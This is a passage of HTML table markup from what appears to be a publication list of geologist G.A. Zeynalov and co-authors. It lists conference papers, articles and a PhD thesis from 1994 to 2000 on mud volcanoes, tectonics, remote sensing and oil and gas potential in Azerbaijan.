style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td><td colspan=\"2\" width=\"168\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Habitat of mud volcanoes and petroleum seepage in Azerbaijan</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td><td width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Conference</p><p style=\"margin:0px 0px 10px;padding:0px\">Proceedings</p></td><td colspan=\"2\" width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">“Extended Abstracts of EAGE Conference on Geology and Petroleum Geology of the Mediter-ranean and Circum-Mediterranean Basins” St.Julians, Malta</p></td><td width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">2000</p></td><td colspan=\"2\" width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">pp.</p><p style=\"margin:0px 0px 10px;padding:0px\">131-135</p></td><td width=\"6\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"31\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">23</p></td><td colspan=\"2\" width=\"168\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Fault-block structure and fluid flow of the Kura basin, Azerbaijan</p></td><td width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Conference</p><p style=\"margin:0px 0px 10px;padding:0px\">Proceedings</p></td><td colspan=\"2\" width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">“Extended Abstracts of EAGE Conference on Geology and Petroleum Geology of the Mediterranean and Circum-Mediterranean Basins” St.Julians, Malta</p></td><td width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">2000</p></td><td colspan=\"2\" width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">p.</p><p style=\"margin:0px 0px 10px;padding:0px\">145-148</p></td><td width=\"6\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"31\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">24</p></td><td colspan=\"2\" width=\"168\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">New data on the tectonics of the Western Coast of South Caspian Basin from analysis of SPOT and Landsat-TM images.</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td><td width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Conference</p><p style=\"margin:0px 0px 10px;padding:0px\">Proceedings</p></td><td colspan=\"2\" width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">“Proceedings of the Sixth International Conference on Remote Sensing for Marine and Coastal Environment” Charleston,USA</p></td><td width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">2000</p></td><td colspan=\"2\" width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Vol. II, p.</p><p style=\"margin:0px 0px 10px;padding:0px\">458</p></td><td width=\"6\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"31\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">25</p></td><td colspan=\"2\" width=\"168\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Fault tectonics and formations of oil and gas pools in the East Azerbaijan from analysis of SPOT/Landsat images.,</p></td><td width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Conference</p><p style=\"margin:0px 0px 10px;padding:0px\">Proceedings</p></td><td colspan=\"2\" width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">“AAPG’s Inaugural Regional International Conference” Istanbul, Turkey</p></td><td width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">2000</p></td><td colspan=\"2\" width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">pp.</p><p style=\"margin:0px 0px 10px;padding:0px\">241-242</p></td><td width=\"6\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"31\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">26</p></td><td colspan=\"2\" width=\"168\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">The methodology for the use of Landsat-MSS imagery in oil exploration. Example of the East&nbsp;&nbsp; Azerbaijan region.&nbsp;</p></td><td width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Conference</p><p style=\"margin:0px 0px 10px;padding:0px\">Proceedings</p></td><td colspan=\"2\" width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">“The 2nd International Symposium on Petroleum Geology. Probability Approach to Petroleum Exploration”</p><p style=\"margin:0px 0px 10px;padding:0px\">Zagreb, CROATIA</p></td><td width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">1999</p></td><td colspan=\"2\" width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">p.</p><p style=\"margin:0px 0px 10px;padding:0px\">177-178</p></td><td width=\"6\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"31\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">27</p></td><td colspan=\"2\" width=\"168\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Fault tectonics and its role in fluid dynamics in the South Caspian Basin (western flank) - (in Russian)</p></td><td width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Conference</p><p style=\"margin:0px 0px 10px;padding:0px\">Proceedings</p></td><td colspan=\"2\" width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Zeynalov, G.A. and A.A. Feyzulayev</p></td><td colspan=\"2\" width=\"120\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">“Proceedings of The Third International Conference devoted to 275th anniversary of Russian Academy of Sciences. New ideas in geology and geochemistry of oil and gas. Oil &amp; gas-bearing basin as a self-developing non-linear systems” Moscow State University, Russia</p></td><td width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">1999</p></td><td colspan=\"2\" width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">p.101-103</p></td><td width=\"6\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"31\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">28</p></td><td colspan=\"2\" width=\"168\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Some tectonic aspects of conditions of formation of oil and gas deposits in the western flank of the South Caspian basin (according to the remote sensing data)</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td><td width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Conference</p><p style=\"margin:0px 0px 10px;padding:0px\">Proceedings</p></td><td colspan=\"2\" width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Abstracts of the International Conference “Geodynamics of the Black sea- Caspian segment of the Alpine folded belt and prospects of search for economic minerals”</p><p style=\"margin:0px 0px 10px;padding:0px\">Baku, Azerbaijan</p></td><td width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">1999</p></td><td colspan=\"2\" width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">pp.</p><p style=\"margin:0px 0px 10px;padding:0px\">202-203</p></td><td width=\"6\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"31\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">29</p></td><td colspan=\"2\" width=\"168\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Applying remote sensing investigations in oil exploration with connection of environmental protection.&nbsp;&nbsp;</p></td><td width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Conference</p><p style=\"margin:0px 0px 10px;padding:0px\">Proceedings</p></td><td colspan=\"2\" width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp; Abstracts of the Scientific –Practical Conference: Sumgayit: Ecology and Progress, Sumgayit,Azerb</p></td><td width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">1999</p></td><td colspan=\"2\" width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">pp.</p><p style=\"margin:0px 0px 10px;padding:0px\">103-105</p></td><td width=\"6\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"31\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">30</p></td><td colspan=\"2\" width=\"168\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">1999, Geodynamic conditions of formation of Meso-Cenozoic structures in the Kura Basin and its oil and gas potential..,</p><p style=\"margin:0px 0px 10px;padding:0px\">June 9-10, 1999, Baku, Azerbaijan, p.226-228</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td><td width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td><td colspan=\"2\" width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Kuliyev K.G. and Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Abstracts of the International Conference “Geodynamics of the Black sea- Caspian segment of the Alpine folded belt and prospects of search for economic minerals”</p><p style=\"margin:0px 0px 10px;padding:0px\">Baku, Azerb.</p></td><td width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td><td colspan=\"2\" width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td><td width=\"6\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"31\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">31</p></td><td colspan=\"2\" width=\"168\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Miocene hydrocarbon potential of the South-eastern Gobustan and western Absheron</p><p style=\"margin:0px 0px 10px;padding:0px\">(in Russian)</p></td><td width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Edited</p><p style=\"margin:0px 0px 10px;padding:0px\">publications</p></td><td colspan=\"2\" width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">I.S. Guliev, A.A. Feyzulayev,&nbsp;&nbsp;&nbsp; K.G. Kuliev M.F. Tagiyev, G.A.</p><p style=\"margin:0px 0px 10px;padding:0px\">Zeynalov, and&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; R.A.</p><p style=\"margin:0px 0px 10px;padding:0px\">Gurbanova</p></td><td colspan=\"2\" width=\"120\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Proceeding of Geological Institute, Azerbaijan Academy of Sciences</p></td><td width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">1999</p></td><td colspan=\"2\" width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">192p</p></td><td width=\"6\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"31\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">32</p></td><td colspan=\"2\" width=\"168\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Studying mud volcanism of Azerbaijan by geological interpretation of remote sensing data</p></td><td width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Conference</p><p style=\"margin:0px 0px 10px;padding:0px\">Proceedings</p></td><td colspan=\"2\" width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Zeynalov G.A.</p></td><td colspan=\"2\" width=\"120\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">“Abstracts of Africa/Middle East International Geophysical Conference &amp; Exposition” Cairo, Egypt</p></td><td width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">1997</p></td><td colspan=\"2\" width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">pp. 47-48</p></td><td width=\"6\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"31\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">33</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td><td colspan=\"2\" width=\"168\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Lineament field of East Azerbaijan and some regularities of formation of oil and gas deposits. 1997,</p></td><td width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Conference</p><p style=\"margin:0px 0px 10px;padding:0px\">Proceedings</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td><td colspan=\"2\" width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Zeynalov, G.A.</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td><td colspan=\"2\" width=\"120\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Abstracts of The conference of Azerbaijan Society of Petroleum Geologists. “Generation, migration and accumulation of hydrocarbons”Baku, Azerbaijan,</p></td><td width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px\">1997</p></td><td colspan=\"2\" width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">pp.</p><p style=\"margin:0px 0px 10px;padding:0px\">36 -37</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td><td width=\"6\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"31\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">34</p></td><td colspan=\"2\" width=\"168\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Elaboration and optimization methods of mapping of geologic-geophysical sections, maps and etc subsurface images on base of PC. (in Russian)</p></td><td width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Methodo-logical Guidelines</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td><td colspan=\"2\" width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Guliyev I.S., Zeynalov G.A., Tagiyev, M.F. and Guliyev, S.I.</p></td><td colspan=\"2\" width=\"120\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">“Proceedings of Geological Institute of Azerbaijan Academy of Sciences”</p><p style=\"margin:0px 0px 10px;padding:0px\">Baku</p><p style=\"margin:0px 0px 10px;padding:0px\">Azerbaijan</p></td><td width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">1997</p></td><td colspan=\"2\" width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">36 p.</p></td><td width=\"6\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"31\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">35</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td><td colspan=\"2\" width=\"168\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Palaeotectonic reconstruction of regional structure of Kura depression (in Russian)</p></td><td width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Journal</p><p style=\"margin:0px 0px 10px;padding:0px\">Article</p></td><td colspan=\"2\" width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Azerli M.M.</p><p style=\"margin:0px 0px 10px;padding:0px\">&amp; Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">“Azerbaijan Oil Industry” Baku</p></td><td width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">1996</p></td><td colspan=\"2\" width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">No11, pp. 4-8</p></td><td width=\"6\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"31\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">36</p></td><td colspan=\"2\" width=\"168\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Integration of of geologic-geophysical and remote sensing data for evaluation geologic structure of&nbsp; the Kura Basin</p></td><td width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Conference</p><p style=\"margin:0px 0px 10px;padding:0px\">Proceedings</p></td><td colspan=\"2\" width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">“Proceedings of the 1st International Symposium on Petroleum Geology. Economic Aspects of Petroleum Exploration” Zagreb, CROATIA</p></td><td width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">1996</p></td><td colspan=\"2\" width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">p.231-232</p></td><td width=\"6\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"31\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">37</p></td><td colspan=\"2\" width=\"168\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Mud volcanism and oil and gas content of the Lower Kura Basin</p></td><td width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Doctoral</p><p style=\"margin:0px 0px 10px;padding:0px\">Honor</p></td><td colspan=\"2\" width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Thesis of PhD dissertation. Geological Institute, Azerbaijan Academy of Sciences, Baku, Azerbaijan</p></td><td width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">1996</p></td><td colspan=\"2\" width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">168 p.</p></td><td width=\"6\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"31\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">38</p></td><td colspan=\"2\" width=\"168\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">The oil and gas potential of the structures affected by mud volcanoes. 1995,</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td><td width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Conference</p><p style=\"margin:0px 0px 10px;padding:0px\">Proceedings</p></td><td colspan=\"2\" width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">A.A.</p><p style=\"margin:0px 0px 10px;padding:0px\">Feizullayev, K.G.Kuliyev and Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Proceedings of the III International Conference of AAPG, Baku,</p><p style=\"margin:0px 0px 10px;padding:0px\">Azerbaijan</p></td><td width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">1995</p></td><td colspan=\"2\" width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">pp.</p><p style=\"margin:0px 0px 10px;padding:0px\">19-22&nbsp;</p></td><td width=\"6\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"31\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">39</p></td><td colspan=\"2\" width=\"168\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Lineamental field of Lower Kura block and the specifics of mud volcanoes distribution</p></td><td width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Conference</p><p style=\"margin:0px 0px 10px;padding:0px\">Proceedings</p></td><td colspan=\"2\" width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">M.M.Azerli, Zeynalov, G.A.,</p></td><td colspan=\"2\" width=\"120\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Proceedings of III International Conference of AAPG, Baku,</p><p style=\"margin:0px 0px 10px;padding:0px\">Azerbaijan</p></td><td width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">1995</p></td><td colspan=\"2\" width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">pp.</p><p style=\"margin:0px 0px 10px;padding:0px\">19-22</p></td><td width=\"6\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"31\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">40</p></td><td colspan=\"2\" width=\"168\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Peculiarities of mud volcanoes distribution in the Lower Kura depression</p></td><td width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Conference</p><p style=\"margin:0px 0px 10px;padding:0px\">Proceedings</p></td><td colspan=\"2\" width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Proceedings of III International Conference of AAPG, Baku,</p><p style=\"margin:0px 0px 10px;padding:0px\">Azerbaijan</p></td><td width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">1995</p></td><td colspan=\"2\" width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">pp.</p><p style=\"margin:0px 0px 10px;padding:0px\">37-39</p></td><td width=\"6\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"31\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">41</p></td><td colspan=\"2\" width=\"168\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Role structural-tectonic development factor in prognosing of oil and gas content of the Lower Kura basin (in Russian)</p></td><td width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Conference</p><p style=\"margin:0px 0px 10px;padding:0px\">Proceedings</p></td><td colspan=\"2\" width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Abstracts of Scientific-practical Conference of Young scientists dedicated to the problems of oil and gas industry, Baku, Azerbaijan</p></td><td width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">1995</p></td><td colspan=\"2\" width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">pp.</p><p style=\"margin:0px 0px 10px;padding:0px\">2-4</p></td><td width=\"6\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"31\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">42</p></td><td colspan=\"2\" width=\"168\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">About historical-geologic modelling of oil and gas generation in the Lower Kura Basin (in Russian)</p></td><td width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Conference</p><p style=\"margin:0px 0px 10px;padding:0px\">Proceedings</p></td><td colspan=\"2\" width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Abstracts of Scientific-practical Conference of Young scientists dedicated to the problems of oil and gas industry, Baku, Azerbaijan,</p></td><td width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">1995</p></td><td colspan=\"2\" width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">pp.</p><p style=\"margin:0px 0px 10px;padding:0px\">4-5</p></td><td width=\"6\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"31\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">43</p></td><td colspan=\"2\" width=\"168\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;Geochemistry of oil and mineralogy of solid products of Azerbaijan mud volcanoes. (in Russian)</p></td><td width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Edited publications</p></td><td colspan=\"2\" width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Guliyev I.S., Feyzullayev, A.A., Kulyev K.G., Tagiyev M.F., Zeynalov, G.A. and Gurbanova R.A.</p></td><td colspan=\"2\" width=\"120\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Proceedings of Geological Institute of Azerbaijan Academy of Sciences,</p><p style=\"margin:0px 0px 10px;padding:0px\">Baku,</p><p style=\"margin:0px 0px 10px;padding:0px\">Azerbaijan</p></td><td width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">1995</p></td><td colspan=\"2\" width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">132 p.</p></td><td width=\"6\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"31\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">44</p></td><td colspan=\"2\" width=\"168\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Classification of mud volcanoes of the Lower Kura Basin (in Russian)</p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td><td width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Journal</p><p style=\"margin:0px 0px 10px;padding:0px\">Article</p></td><td colspan=\"2\" width=\"96\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">E.B.Bagirov and Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">“Azerbaijan Oil Industry”</p><p style=\"margin:0px 0px 10px;padding:0px\">Baku, Azerbaijan</p></td><td width=\"48\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">1994</p></td><td 